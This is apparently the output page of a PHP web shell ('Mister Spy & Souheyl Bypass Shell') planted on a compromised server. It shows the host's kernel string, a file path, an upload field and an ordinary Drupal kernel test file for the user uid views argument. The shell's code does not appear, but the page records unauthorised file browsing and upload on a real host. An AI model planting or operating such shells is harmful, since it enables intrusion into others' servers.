Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/dataninja.cn/core/modules/user/tests/src/Kernel/Views/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/dataninja.cn/core/modules/user/tests/src/Kernel/Views/HandlerArgumentUserUidTest.php

<?php

namespace Drupal\Tests\user\Kernel\Views;

use Drupal\KernelTests\KernelTestBase;
use Drupal\Tests\user\Traits\UserCreationTrait;
use Drupal\user\Entity\User;
use Drupal\views\Tests\ViewTestData;
use Drupal\views\Views;

/**
 * Tests the handler of the user: uid Argument.
 *
 * @group user
 */
class HandlerArgumentUserUidTest extends KernelTestBase {

  use UserCreationTrait;

  /**
   * {@inheritdoc}
   */
  public static $modules = [
    'system',
    'user',
    'user_test_views',
    'views',
  ];

  /**
   * Test views.
   *
   * @var string[]
   */
  public static $testViews = ['test_user_uid_argument'];

  /**
   * Tests the generated title of an user: uid argument.
   */
  public function testArgumentTitle() {
    $this->installSchema('system', ['sequences']);
    $this->installEntitySchema('user');
    $this->installConfig(['user']);
    User::create(['uid' => 0, 'name' => ''])->save();
    ViewTestData::createTestViews(static::class, ['user_test_views']);

    $view = Views::getView('test_user_uid_argument');

    // Tests an invalid user uid.
    $view->preview(NULL, [rand(1000, 10000)]);
    $this->assertFalse($view->getTitle());
    $view->destroy();

    // Tests a valid user.
    $account = $this->createUser();
    $view->preview(NULL, [$account->id()]);
    $this->assertEquals($account->label(), $view->getTitle());
    $view->destroy();

    // Tests the anonymous user.
    $anonymous = $this->config('user.settings')->get('anonymous');
    $view->preview(NULL, [0]);
    $this->assertEquals($anonymous, $view->getTitle());
    $view->destroy();

    $view->getDisplay()->getHandler('argument', 'uid')->options['break_phrase'] = TRUE;
    $view->preview(NULL, [$account->id() . ',0']);
    $this->assertEquals($account->label() . ', ' . $anonymous, $view->getTitle());
    $view->destroy();

    $view->getDisplay()->getHandler('argument', 'uid')->options['break_phrase'] = TRUE;
    $view->preview(NULL, ['0,' . $account->id()]);
    $this->assertEquals($anonymous . ', ' . $account->label(), $view->getTitle());
    $view->destroy();
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net